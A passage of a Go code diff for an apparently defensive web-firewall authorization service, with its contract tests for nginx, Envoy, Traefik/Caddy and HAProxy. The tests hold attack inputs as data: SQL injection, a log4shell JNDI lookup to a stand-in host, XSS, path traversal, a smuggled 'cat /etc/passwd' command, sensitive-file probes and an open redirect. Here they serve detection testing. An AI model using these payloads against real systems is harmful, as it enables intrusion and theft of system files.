+ maxBody int64
58
+ stateStale time.Duration // the sidecar state is stale when its last refresh is older than this
59
+ secret []byte
60
+ }
61
+
62
+ type server struct {
63
+ cfg config
64
+ dec decider
65
+ modelOK bool
66
+ state *dibaguard.FastState // nil: no sidecar configured
67
+ queue chan dibaguard.Summary
68
+ sem chan struct{}
69
+ now func() time.Time
70
+ thr float64
71
+ haproxy *haproxySync
72
+ counters struct {
73
+ checks, allowed, blocked, challenged, rateLimited, flagged, failOpen, failClosed, timeouts, overloads, panics atomic.Int64
74
+ }
75
+ }
76
+
77
+ func newServer(cfg config, dec decider, modelOK bool, state *dibaguard.FastState, maxInflight int) *server {
78
+ if maxInflight <= 0 {
79
+ maxInflight = 1024
80
+ }
81
+ return &server{cfg: cfg, dec: dec, modelOK: modelOK, state: state, sem: make(chan struct{}, maxInflight), now: time.Now}
82
+ }
83
+
84
+ func (s *server) ServeHTTP(w http.ResponseWriter, r *http.Request) {
85
+ // dispatch on the raw request target: a ServeMux would clean "/envoy/a/../../etc/passwd" into a redirect
86
+ if p := s.cfg.envoyPrefix; p != "" && (r.RequestURI == p || strings.HasPrefix(r.RequestURI, p+"/") || strings.HasPrefix(r.RequestURI, p+"?")) {
87
+ s.check(w, r, profEnvoy)
88
+ return
89
+ }
90
+ switch r.URL.Path {
91
+ case "/nginx":
92
+ s.check(w, r, profNginx)
93
+ case "/forward", "/auth":
94
+ s.check(w, r, profForward)
95
+ case "/challenge", "/_dibaguard/challenge":
96
+ s.challengePage(w, r)
97
+ case "/healthz":
98
+ s.health(w)
99
+ default:
100
+ http.NotFound(w, r)
101
+ }
102
+ }
103
+
104
+ func first(vals ...string) string {
105
+ for _, v := range vals {
106
+ if v != "" {
107
+ return v
108
+ }
109
+ }
110
+ return ""
111
+ }
112
+
113
+ // parseURI parses an original request target. One Go's server would refuse (bad escapes in the path) is kept
114
+ // undecoded rather than dropped, so it is still inspected.
115
+ func parseURI(uri string) *url.URL {
116
+ if u, err := url.ParseRequestURI(uri); err == nil {
117
+ return u
118
+ }
119
+ path, query, _ := strings.Cut(uri, "?")
120
+ return &url.URL{Path: path, RawQuery: query}
121
+ }
122
+
123
+ // original reconstructs the client's request from what the load balancer sent.
124
+ func (s *server) original(r *http.Request, prof profile) (method string, u *url.URL, host string) {
125
+ h := r.Header
126
+ if prof == profEnvoy { // Envoy keeps the method and appends the original path to path_prefix
127
+ uri := strings.TrimPrefix(r.RequestURI, s.cfg.envoyPrefix)
128
+ if !strings.HasPrefix(uri, "/") {
129
+ uri = "/" + uri
130
+ }
131
+ return r.Method, parseURI(uri), r.Host
132
+ }
133
+ method = first(h.Get("X-Original-Method"), h.Get("X-Forwarded-Method"), r.Method)
134
+ uri := first(h.Get("X-Original-URI"), h.Get("X-Forwarded-Uri"))
135
+ host = h.Get("X-Forwarded-Host")
136
+ if uri == "" { // ingress-nginx sends the absolute URL
137
+ if ou := h.Get("X-Original-URL"); ou != "" {
138
+ if pu, err := url.Parse(ou); err == nil {
139
+ uri = pu.RequestURI()
140
+ host = first(host, pu.Host)
141
+ }
142
+ }
143
+ }
144
+ return method, parseURI(first(uri, "/")), first(host, r.Host)
145
+ }
146
+
147
+ // degraded names what is missing for a full decision: the model, or a fresh sidecar state.
148
+ func (s *server) degraded(now time.Time) string {
149
+ if !s.modelOK {
150
+ return "model_unavailable"
151
+ }
152
+ if s.state != nil {
153
+ if age, ok := s.state.Age(now); !ok || age > s.cfg.stateStale {
154
+ return "sidecar_unavailable"
155
+ }
156
+ }
157
+ return ""
158
+ }
159
+
160
+ type outcome struct {
161
+ v dibaguard.Verdict
162
+ cause string // why no decision was made: timeout | overload | panic
163
+ }
164
+
165
+ // run executes f within the deadline on a bounded number of concurrent decisions.
166
+ func (s *server) run(deadline time.Time, f func() dibaguard.Verdict) outcome {
167
+ timer := time.NewTimer(time.Until(deadline))
168
+ defer timer.Stop()
169
+ select {
170
+ case s.sem <- struct{}{}:
171
+ case <-timer.C:
172
+ return outcome{cause: "overload"}
173
+ }
174
+ done := make(chan outcome, 1)
175
+ go func() {
176
+ defer func() { <-s.sem }()
177
+ defer func() {
178
+ if rec := recover(); rec != nil {
179
+ done <- outcome{cause: "panic"}
180
+ }
181
+ }()
182
+ done <- outcome{v: f()}
183
+ }()
184
+ select {
185
+ case o := <-done:
186
+ return o
187
+ case <-timer.C:
188
+ return outcome{cause: "timeout"}
189
+ }
190
+ }
191
+
192
+ func (s *server) check(w http.ResponseWriter, r *http.Request, prof profile) {
193
+ start := s.now()
194
+ deadline := start.Add(s.cfg.budget)
195
+ s.counters.checks.Add(1)
196
+ enforce := s.cfg.mode == "enforce"
197
+ ip := s.cfg.trusted.ClientIP(r.RemoteAddr, r.Header, s.cfg.ipHeaders)
198
+ method, u, host := s.original(r, prof)
199
+
200
+ degraded := s.degraded(start)
201
+ var o outcome
202
+ switch {
203
+ case degraded != "" && s.cfg.failClosed:
204
+ o.cause = degraded
205
+ default:
206
+ var body []byte
207
+ if r.Body != nil && r.ContentLength != 0 { // Envoy with_request_body; nginx/Traefik/Caddy send none
208
+ http.NewResponseController(w).SetReadDeadline(deadline)
209
+ b, err := io.ReadAll(io.LimitReader(r.Body, s.cfg.maxBody))
210
+ if err != nil && s.now().After(deadline) {
211
+ o.cause = "timeout"
212
+ }
213
+ body = b
214
+ }
215
+ if o.cause == "" {
216
+ req := dibaguard.Request{Method: method, URL: u, Header: r.Header, Body: body, ClientIP: ip}
217
+ o = s.run(deadline, func() dibaguard.Verdict {
218
+ src := s.dec.Source(ip, r.Header, start)
219
+ if src.Action != dibaguard.ActionAllow && enforce {
220
+ return src // a known-bad source is refused before its request is even scored
221
+ }
222
+ v := s.dec.Inspect(req, start)
223
+ if src.Action != dibaguard.ActionAllow { // report mode: the standing decision wins, the evidence stays
224
+ v.Action, v.Reason = src.Action, src.Reason
225
+ }
226
+ return v
227
+ })
228
+ }
229
+ }
230
+ v := o.v
231
+ switch {
232
+ case o.cause != "" && s.cfg.failClosed:
233
+ s.counters.failClosed.Add(1)
234
+ v = dibaguard.Verdict{Action: dibaguard.ActionBlock, Reason: "fail_closed:" + o.cause}
235
+ case o.cause != "":
236
+ s.counters.failOpen.Add(1)
237
+ v = dibaguard.Verdict{Action: dibaguard.ActionAllow, Reason: "fail_open:" + o.cause}
238
+ case degraded != "":
239
+ s.counters.failOpen.Add(1)
240
+ w.Header().Set("X-DibaGuard-Degraded", degraded)
241
+ if v.Action == dibaguard.ActionAllow && v.Reason == "" {
242
+ v.Reason = "fail_open:" + degraded
243
+ }
244
+ }
245
+ switch o.cause {
246
+ case "timeout":
247
+ s.counters.timeouts.Add(1)
248
+ case "overload":
249
+ s.counters.overloads.Add(1)
250
+ case "panic":
251
+ s.counters.panics.Add(1)
252
+ }
253
+ status := s.respond(w, r, prof, v, ip, enforce, o.cause != "" || degraded != "" && s.cfg.failClosed)
254
+
255
+ // the request as an event of the client's stream for the sidecar's slow path (as dibaguard-proxy reports it:
256
+ // served requests and inline content blocks, not refusals of an already-decided source or challenges)
257
+ if s.queue != nil && v.Text != "" && (!enforce || v.Action == dibaguard.ActionAllow || v.Action == dibaguard.ActionBlock && !strings.HasPrefix(v.Reason, "sidecar:")) {
258
+ st := 0 // the upstream's reply is unknown at authorization time
259
+ if enforce && v.Action == dibaguard.ActionBlock {
260
+ st = status
261
+ }
262
+ select {
263
+ case s.queue <- dibaguard.Summary{Text: v.Text, Deepest: v.Deepest, Client: ip, Host: host, Status: st, T: float64(start.UnixNano()) / 1e9}:
264
+ default:
265
+ }
266
+ }
267
+ }
268
+
269
+ // respond writes the verdict in the profile's contract and returns the status sent.
270
+ func (s *server) respond(w http.ResponseWriter, r *http.Request, prof profile, v dibaguard.Verdict, ip string, enforce, unavailable bool) int {
271
+ h := w.Header()
272
+ h.Set("X-DibaGuard-Verdict", v.Action)
273
+ h.Set("X-DibaGuard-Mode", s.cfg.mode)
274
+ h.Set("Cache-Control", "no-store")
275
+ if v.Reason != "" {
276
+ h.Set("X-DibaGuard-Reason", v.Reason)
277
+ }
278
+ if len(v.SigIDs) > 0 {
279
+ h.Set("X-DibaGuard-Sigs", strings.Join(v.SigIDs, ","))
280
+ }
281
+ if v.Scored {
282
+ h.Set("X-DibaGuard-Score", strconv.FormatFloat(v.Score, 'f', 3, 64))
283
+ }
284
+ if v.Flagged {
285
+ s.counters.flagged.Add(1)
286
+ h.Set("X-DibaGuard", "flagged")
287
+ }
288
+ if !enforce || v.Action == dibaguard.ActionAllow {
289
+ s.counters.allowed.Add(1)
290
+ w.WriteHeader(http.StatusOK)
291
+ return http.StatusOK
292
+ }
293
+ switch v.Action {
294
+ case dibaguard.ActionChallenge:
295
+ s.counters.challenged.Add(1)
296
+ case dibaguard.ActionRateLimit:
297
+ s.counters.rateLimited.Add(1)
298
+ default:
299
+ s.counters.blocked.Add(1)
300
+ }
301
+ if prof == profNginx {
302
+ // auth_request only understands 2xx, 401 and 403 (anything else is an error, a 500 to the client):
303
+ // challenge and rate_limit are 401, told apart by X-DibaGuard-Verdict in the error_page location
304
+ st := http.StatusUnauthorized
305
+ if v.Action == dibaguard.ActionBlock {
306
+ st = http.StatusForbidden
307
+ }
308
+ w.WriteHeader(st)
309
+ return st
310
+ }
311
+ switch {
312
+ case unavailable && prof == profEnvoy:
313
+ // Envoy counts a 5xx from the authorization service as an error, which failure_mode_allow lets through
314
+ http.Error(w, "forbidden", http.StatusForbidden)
315
+ return http.StatusForbidden
316
+ case unavailable:
317
+ http.Error(w, "service unavailable", http.StatusServiceUnavailable)
318
+ return http.StatusServiceUnavailable
319
+ case v.Action == dibaguard.ActionChallenge:
320
+ dibaguard.ServeChallenge(w, dibaguard.ChallengeToken(s.cfg.secret, ip, s.now()))
321
+ return http.StatusTooManyRequests
322
+ case v.Action == dibaguard.ActionRateLimit:
323
+ h.Set("Retry-After", "1")
324
+ http.Error(w, "slow down", http.StatusTooManyRequests)
325
+ return http.StatusTooManyRequests
326
+ default:
327
+ http.Error(w, "forbidden", http.StatusForbidden)
328
+ return http.StatusForbidden
329
+ }
330
+ }
331
+
332
+ // challengePage renders the JS challenge for the client, or the 429 of a rate-limited one. It is the target of
333
+ // nginx's error_page 401 (which passes the verdict it got in X-DibaGuard-Verdict), of HAProxy's challenge backend,
334
+ // and of ingress-nginx's auth-signin redirect (?rd=<original path>: the page returns there once the cookie is set).
335
+ // Without a verdict header the sidecar's standing decision tells a rate-limited client from a challenged one.
336
+ func (s *server) challengePage(w http.ResponseWriter, r *http.Request) {
337
+ now := s.now()
338
+ ip := s.cfg.trusted.ClientIP(r.RemoteAddr, r.Header, s.cfg.ipHeaders)
339
+ w.Header().Set("Cache-Control", "no-store")
340
+ verdict := r.Header.Get("X-DibaGuard-Verdict")
341
+ if verdict == "" && s.state != nil {
342
+ verdict = s.state.Lookup(ip, float64(now.UnixNano())/1e9)
343
+ }
344
+ if verdict == dibaguard.ActionRateLimit {
345
+ w.Header().Set("Retry-After", "1")
346
+ http.Error(w, "slow down", http.StatusTooManyRequests)
347
+ return
348
+ }
349
+ dibaguard.ServeChallengeTo(w, dibaguard.ChallengeToken(s.cfg.secret, ip, now), r.URL.Query().Get("rd"))
350
+ }
351
+
352
+ func (s *server) health(w http.ResponseWriter) {
353
+ c := &s.counters
354
+ out := map[string]any{"mode": s.cfg.mode, "fail_closed": s.cfg.failClosed, "budget_ms": float64(s.cfg.budget) / 1e6,
355
+ "threshold": s.thr, "model": s.modelOK, "degraded": s.degraded(s.now()),
356
+ "checks": c.checks.Load(), "allowed": c.allowed.Load(), "blocked": c.blocked.Load(), "challenged": c.challenged.Load(),
357
+ "rate_limited": c.rateLimited.Load(), "flagged": c.flagged.Load(), "fail_open": c.failOpen.Load(),
358
+ "fail_closed_denied": c.failClosed.Load(), "timeouts": c.timeouts.Load(), "overloads": c.overloads.Load(), "panics": c.panics.Load()}
359
+ if s.state != nil {
360
+ if age, ok := s.state.Age(s.now()); ok {
361
+ out["sidecar_state_age_s"] = age.Seconds()
362
+ }
363
+ }
364
+ if s.haproxy != nil {
365
+ out["haproxy"] = s.haproxy.Stats()
366
+ }
367
+ w.Header().Set("Content-Type", "application/json")
368
+ json.NewEncoder(w).Encode(out)
369
+ }
runtime/go/cmd/dibaguard-authz/authz_test.go ADDED
@@ -0,0 +1,555 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ package main
2
+
3
+ import (
4
+ "encoding/json"
5
+ "io"
6
+ "net/http"
7
+ "net/http/httptest"
8
+ "net/url"
9
+ "path/filepath"
10
+ "strings"
11
+ "sync"
12
+ "testing"
13
+ "time"
14
+
15
+ "dibaguard"
16
+ )
17
+
18
+ const lb = "127.0.0.1:40000" // the load balancer's address (trusted)
19
+
20
+ var sqli = url.QueryEscape("1' or 1=1-- -")
21
+
22
+ type fixture struct {
23
+ s *server
24
+ dec *dibaguard.Decider
25
+ state *dibaguard.FastState
26
+ }
27
+
28
+ func loadModel(tb testing.TB) *dibaguard.HTTPModel2 {
29
+ tb.Helper()
30
+ m, err := dibaguard.LoadHTTP2(filepath.Join("..", "..", "testdata", "http2_model.bin"))
31
+ if err != nil {
32
+ tb.Skip("no http2 fixture model:", err)
33
+ }
34
+ return m
35
+ }
36
+
37
+ // newFixture: enforce mode, fixture model (threshold out of reach, as in the proxy test: signatures decide),
38
+ // a fresh sidecar state, trusted load balancers 127.0.0.1 and 10/8.
39
+ func newFixture(tb testing.TB, mut func(*config)) *fixture {
40
+ tb.Helper()
41
+ tp, err := dibaguard.ParseTrustedProxies("127.0.0.1/32,10.0.0.0/8")
42
+ if err != nil {
43
+ tb.Fatal(err)
44
+ }
45
+ cfg := config{mode: "enforce", budget: 500 * time.Millisecond, trusted: tp, ipHeaders: []string{"X-Forwarded-For", "X-Real-IP"},
46
+ envoyPrefix: "/envoy", maxBody: 1 << 20, stateStale: 10 * time.Second, secret: []byte("k")}
47
+ if mut != nil {
48
+ mut(&cfg)
49
+ }
50
+ st := &dibaguard.FastState{}
51
+ st.Set(dibaguard.StateSnapshot{}, time.Now())
52
+ dec := &dibaguard.Decider{Model: loadModel(tb), Threshold: 1e9, Inline: true, State: st, Limiter: dibaguard.NewLimiter(1, 2), Secret: cfg.secret}
53
+ s := newServer(cfg, dec, true, st, 64)
54
+ s.queue = make(chan dibaguard.Summary, 100)
55
+ return &fixture{s: s, dec: dec, state: st}
56
+ }
57
+
58
+ func (f *fixture) setState(block, challenge, rateLimit []string) {
59
+ until := float64(time.Now().Add(time.Hour).Unix())
60
+ m := func(ips []string) map[string]float64 {
61
+ out := map[string]float64{}
62
+ for _, ip := range ips {
63
+ out[ip] = until
64
+ }
65
+ return out
66
+ }
67
+ f.state.Set(dibaguard.StateSnapshot{Block: m(block), Challenge: m(challenge), RateLimit: m(rateLimit)}, time.Now())
68
+ }
69
+
70
+ func (f *fixture) do(method, target, peer string, hdr map[string]string, body string) *httptest.ResponseRecorder {
71
+ var rb io.Reader
72
+ if body != "" {
73
+ rb = strings.NewReader(body)
74
+ }
75
+ req := httptest.NewRequest(method, target, rb)
76
+ req.RemoteAddr = peer
77
+ req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0) Chrome/121")
78
+ for k, v := range hdr {
79
+ req.Header.Set(k, v)
80
+ }
81
+ w := httptest.NewRecorder()
82
+ f.s.ServeHTTP(w, req)
83
+ return w
84
+ }
85
+
86
+ // nginx auth_request: the auth subrequest carries the original request in X-Original-* (nginx config sets them)
87
+ func (f *fixture) nginx(uri, client string, extra map[string]string) *httptest.ResponseRecorder {
88
+ h := map[string]string{"X-Original-Method": "GET", "X-Original-URI": uri, "X-Forwarded-For": client, "X-Real-IP": client, "X-Forwarded-Host": "shop.example"}
89
+ for k, v := range extra {
90
+ h[k] = v
91
+ }
92
+ return f.do("GET", "/nginx", lb, h, "")
93
+ }
94
+
95
+ func (f *fixture) lastSummary(t *testing.T) dibaguard.Summary {
96
+ t.Helper()
97
+ var last dibaguard.Summary
98
+ n := 0
99
+ for {
100
+ select {
101
+ case s := <-f.s.queue:
102
+ last, n = s, n+1
103
+ default:
104
+ if n == 0 {
105
+ t.Fatal("no summary queued")
106
+ }
107
+ return last
108
+ }
109
+ }
110
+ }
111
+
112
+ func expect(t *testing.T, name string, w *httptest.ResponseRecorder, code int, verdict string) {
113
+ t.Helper()
114
+ if w.Code != code || w.Header().Get("X-DibaGuard-Verdict") != verdict {
115
+ t.Errorf("%s: got %d %q (reason %q) want %d %q", name, w.Code, w.Header().Get("X-DibaGuard-Verdict"), w.Header().Get("X-DibaGuard-Reason"), code, verdict)
116
+ }
117
+ }
118
+
119
+ func TestNginxContract(t *testing.T) {
120
+ f := newFixture(t, nil)
121
+ f.setState([]string{"7.7.7.7"}, []string{"6.6.6.6"}, []string{"5.5.5.5"})
122
+
123
+ w := f.nginx("/product/42?page=2", "1.1.1.1", nil)
124
+ expect(t, "benign", w, 200, "allow")
125
+ if w.Header().Get("X-DibaGuard-Reason") != "" || w.Header().Get("X-DibaGuard-Score") == "" {
126
+ t.Errorf("benign headers: %v", w.Header())
127
+ }
128
+ if s := f.lastSummary(t); s.Client != "1.1.1.1" || s.Host != "shop.example" || !strings.HasPrefix(s.Text, "get /product/42 | q:page=2") || s.Status != 0 {
129
+ t.Errorf("benign summary: %+v", s)
130
+ }
131
+ w = f.nginx("/items?id="+sqli, "2.2.2.2", nil)
132
+ expect(t, "sqli", w, 403, "block")
133
+ if w.Header().Get("X-DibaGuard-Reason") != "sig:A15" || !strings.Contains(w.Header().Get("X-DibaGuard-Sigs"), "A15") || w.Header().Get("X-DibaGuard") != "flagged" {
134
+ t.Errorf("sqli headers: %v", w.Header())
135
+ }
136
+ if s := f.lastSummary(t); s.Status != 403 || s.Client != "2.2.2.2" {
137
+ t.Errorf("content block summary: %+v", s)
138
+ }
139
+ expect(t, "log4shell header", f.nginx("/", "3.3.3.3", map[string]string{"X-Api-Version": "${jndi:ldap://evil/a}"}), 403, "block")
140
+ expect(t, "POST via X-Original-Method", f.nginx("/login?next="+url.QueryEscape("<script>alert(1)</script>"), "3.3.3.4", map[string]string{"X-Original-Method": "POST"}), 403, "block")
141
+ // challenge and rate_limit are both 401 for auth_request (it only understands 2xx/401/403)
142
+ expect(t, "sensitive file probe", f.nginx("/.git/config", "4.4.4.4", nil), 401, "challenge")
143
+ expect(t, "sidecar-blocked source", f.nginx("/product/1", "7.7.7.7", nil), 403, "block")
144
+ expect(t, "sidecar-challenged source", f.nginx("/product/1", "6.6.6.6", nil), 401, "challenge")
145
+ tok := dibaguard.ChallengeToken([]byte("k"), "6.6.6.6", time.Now())
146
+ expect(t, "challenged source with its cookie", f.nginx("/product/1", "6.6.6.6", map[string]string{"Cookie": "a=b; dg_ch=" + tok}), 200, "allow")
147
+ got := []int{}
148
+ for i := 0; i < 4; i++ {
149
+ got = append(got, f.nginx("/product/1", "5.5.5.5", nil).Code)
150
+ }
151
+ if got[0] != 200 || got[1] != 200 || got[2] != 401 || got[3] != 401 {
152
+ t.Errorf("rate-limited source (burst 2): %v", got)
153
+ }
154
+
155
+ // the error_page target: the challenge page for this client, or a 429 for a rate-limited one
156
+ w = f.do("GET", "/challenge", lb, map[string]string{"X-Forwarded-For": "6.6.6.6", "X-DibaGuard-Verdict": "challenge"}, "")
157
+ if w.Code != 429 || !strings.Contains(w.Body.String(), "dg_ch="+tok) || !strings.HasPrefix(w.Header().Get("Content-Type"), "text/html") {
158
+ t.Errorf("challenge page: %d %q", w.Code, w.Body.String())
159
+ }
160
+ w = f.do("GET", "/challenge", lb, map[string]string{"X-Forwarded-For": "5.5.5.5", "X-DibaGuard-Verdict": "rate_limit"}, "")
161
+ if w.Code != 429 || w.Header().Get("Retry-After") == "" || strings.Contains(w.Body.String(), "dg_ch") {
162
+ t.Errorf("rate-limit page: %d %q", w.Code, w.Body.String())
163
+ }
164
+ }
165
+
166
+ // the challenge page without a verdict header (HAProxy challenge backend, ingress-nginx auth-signin redirect)
167
+ func TestChallengePageRoutes(t *testing.T) {
168
+ f := newFixture(t, nil)
169
+ f.setState(nil, []string{"6.6.6.6"}, []string{"5.5.5.5"})
170
+ tok := dibaguard.ChallengeToken([]byte("k"), "6.6.6.6", time.Now())
171
+ w := f.do("GET", "/_dibaguard/challenge?rd="+url.QueryEscape("/product/1?x=1"), lb, map[string]string{"X-Forwarded-For": "6.6.6.6"}, "")
172
+ if w.Code != 429 || !strings.Contains(w.Body.String(), "dg_ch="+tok) || !strings.Contains(w.Body.String(), `location.replace("/product/1?x=1")`) {
173
+ t.Errorf("auth-signin challenge: %d %s", w.Code, w.Body.String())
174
+ }
175
+ w = f.do("GET", "/_dibaguard/challenge?rd="+url.QueryEscape("https://evil.example/"), lb, map[string]string{"X-Forwarded-For": "6.6.6.6"}, "")
176
+ if strings.Contains(w.Body.String(), "evil") || !strings.Contains(w.Body.String(), "location.reload()") {
177
+ t.Errorf("open redirect: %s", w.Body.String())
178
+ }
179
+ // a rate-limited client gets the 429, not a challenge loop, even without the verdict header
180
+ w = f.do("GET", "/challenge", lb, map[string]string{"X-Forwarded-For": "5.5.5.5"}, "")
181
+ if w.Code != 429 || w.Header().Get("Retry-After") == "" || strings.Contains(w.Body.String(), "dg_ch") {
182
+ t.Errorf("rate-limited via state: %d %s", w.Code, w.Body.String())
183
+ }
184
+ }
185
+
186
+ func TestIngressNginxOriginalURL(t *testing.T) {
187
+ f := newFixture(t, nil)
188
+ h := map[string]string{"X-Original-URL": "https://shop.example/items?id=" + sqli, "X-Original-Method": "GET", "X-Real-IP": "2.2.2.2", "X-Forwarded-For": "2.2.2.2"}
189
+ expect(t, "ingress-nginx attack", f.do("GET", "/nginx", lb, h, ""), 403, "block")
190
+ if s := f.lastSummary(t); s.Host != "shop.example" || !strings.HasPrefix(s.Text, "get /items") {
191
+ t.Errorf("ingress-nginx summary: %+v", s)
192
+ }
193
+ h["X-Original-URL"] = "https://shop.example/product/42"
194
+ expect(t, "ingress-nginx benign", f.do("GET", "/nginx", lb, h, ""), 200, "allow")
195
+ }
196
+
197
+ // Traefik ForwardAuth and Caddy forward_auth send X-Forwarded-Method/-Uri/-Host/-For and copy a non-2xx answer
198
+ // (status, headers, body) to the client
199
+ func TestForwardContract(t *testing.T) {
200
+ f := newFixture(t, nil)
201
+ f.setState(nil, nil, []string{"5.5.5.5"})
202
+ fwd := func(method, uri, client string) *httptest.ResponseRecorder {
203
+ return f.do("GET", "/forward", lb, map[string]string{"X-Forwarded-Method": method, "X-Forwarded-Uri": uri, "X-Forwarded-Host": "shop.example",
204
+ "X-Forwarded-Proto": "https", "X-Forwarded-For": client}, "")
205
+ }
206
+ expect(t, "benign", fwd("GET", "/product/42?page=2", "1.1.1.1"), 200, "allow")
207
+ w := fwd("GET", "/download?f="+url.QueryEscape("../../../../etc/passwd"), "2.2.2.2")
208
+ expect(t, "traversal", w, 403, "block")
209
+ if !strings.Contains(w.Body.String(), "forbidden") {
210
+ t.Errorf("block body: %q", w.Body.String())
211
+ }
212
+ w = fwd("GET", "/.env", "3.3.3.3")
213
+ expect(t, "probe -> challenge page", w, 429, "challenge")
214
+ if !strings.Contains(w.Body.String(), "dg_ch="+dibaguard.ChallengeToken([]byte("k"), "3.3.3.3", time.Now())) {
215
+ t.Errorf("challenge body: %q", w.Body.String())
216
+ }
217
+ fwd("GET", "/a", "5.5.5.5")
218
+ fwd("GET", "/a", "5.5.5.5")
219
+ w = fwd("GET", "/a", "5.5.5.5")
220
+ expect(t, "rate limited", w, 429, "rate_limit")
221
+ if w.Header().Get("Retry-After") == "" {
222
+ t.Error("rate limit: no Retry-After")
223
+ }
224
+ // HAProxy lua auth-request sends HEAD to the auth backend with the original request in X-Original-*
225
+ w = f.do("HEAD", "/forward", lb, map[string]string{"X-Original-Method": "GET", "X-Original-URI": "/ping?host=" + url.QueryEscape("127.0.0.1;cat /etc/passwd"), "X-Forwarded-For": "4.4.4.4"}, "")
226
+ expect(t, "haproxy lua HEAD", w, 403, "block")
227
+ if s := f.lastSummary(t); !strings.HasPrefix(s.Text, "get /ping") || s.Client != "4.4.4.4" {
228
+ t.Errorf("haproxy lua summary: %+v", s)
229
+ }
230
+ }
231
+
232
+ // Envoy ext_authz (HTTP service): the check keeps the original method, path_prefix + original path, the allowed
233
+ // headers (and the body with with_request_body); only 200 allows; on allow, allowed_upstream_headers copies
234
+ // the X-DibaGuard-* headers to the upstream request
235
+ func TestEnvoyContract(t *testing.T) {
236
+ f := newFixture(t, nil)
237
+ envoy := func(method, path, body string) *httptest.ResponseRecorder {
238
+ return f.do(method, path, lb, map[string]string{"X-Forwarded-For": "9.9.9.9", "X-Envoy-External-Address": "9.9.9.9", "Content-Type": "application/x-www-form-urlencoded"}, body)
239
+ }
240
+ w := envoy("GET", "/envoy/product/42?page=2", "")
241
+ expect(t, "benign", w, 200, "allow")
242
+ if w.Header().Get("X-DibaGuard-Score") == "" {
243
+ t.Error("allow carries no score header for allowed_upstream_headers")
244
+ }
245
+ if s := f.lastSummary(t); !strings.HasPrefix(s.Text, "get /product/42 | q:page=2") || s.Client != "9.9.9.9" {
246
+ t.Errorf("prefix not stripped / wrong client: %+v", s)
247
+ }
248
+ expect(t, "body attack (with_request_body)", envoy("POST", "/envoy/login", "user=admin%27+or+1%3D1--+-&pw=x"), 403, "block")
249
+ if s := f.lastSummary(t); !strings.Contains(s.Text, " | b:user=admin' or 1=1-- -") {
250
+ t.Errorf("body not inspected: %+v", s)
251
+ }
252
+ // the raw path reaches the decision: no ServeMux cleaning into a 301
253
+ expect(t, "dot-dot path", envoy("GET", "/envoy/static/../../../../etc/passwd", ""), 403, "block")
254
+ w = envoy("GET", "/envoy/.git/config", "")
255
+ expect(t, "challenge", w, 429, "challenge")
256
+ if !strings.HasPrefix(w.Header().Get("Content-Type"), "text/html") {
257
+ t.Error("challenge without content-type")
258
+ }
259
+ expect(t, "prefix root", envoy("GET", "/envoy", ""), 200, "allow")
260
+ if w := f.do("GET", "/envoyx/a", lb, nil, ""); w.Code != 404 {
261
+ t.Errorf("non-prefix path: %d", w.Code)
262
+ }
263
+ }
264
+
265
+ // An untrusted peer's forwarding headers are ignored: it can neither leave its own identity (escape a block) nor
266
+ // take another one (frame someone else, or borrow their challenge cookie).
267
+ func TestTrustedProxySpoofing(t *testing.T) {
268
+ f := newFixture(t, nil)
269
+ f.setState([]string{"203.0.113.9", "7.7.7.7"}, nil, nil)
270
+ spoof := map[string]string{"X-Forwarded-For": "1.1.1.1", "X-Real-IP": "1.1.1.1", "X-Original-URI": "/product/1"}
271
+ expect(t, "blocked untrusted peer claiming another address", f.do("GET", "/nginx", "203.0.113.9:5555", spoof, ""), 403, "block")
272
+ frame := map[string]string{"X-Forwarded-For": "7.7.7.7", "X-Real-IP": "7.7.7.7", "X-Original-URI": "/product/1"}
273
+ expect(t, "untrusted peer claiming a blocked address", f.do("GET", "/nginx", "203.0.113.10:5555", frame, ""), 200, "allow")
274
+ if s := f.lastSummary(t); s.Client != "203.0.113.10" {
275
+ t.Errorf("spoofed identity reached the sidecar: %+v", s)
276
+ }
277
+ // through a trusted LB, what the client wrote is left of the hop the LB appended
278
+ h := map[string]string{"X-Forwarded-For": "7.7.7.7, 9.9.9.9", "X-Original-URI": "/product/1"}
279
+ expect(t, "client-written XFF through a trusted LB", f.do("GET", "/nginx", lb, h, ""), 200, "allow")
280
+ h["X-Forwarded-For"] = "1.1.1.1, 7.7.7.7"
281
+ expect(t, "blocked client through a trusted LB", f.do("GET", "/nginx", lb, h, ""), 403, "block")
282
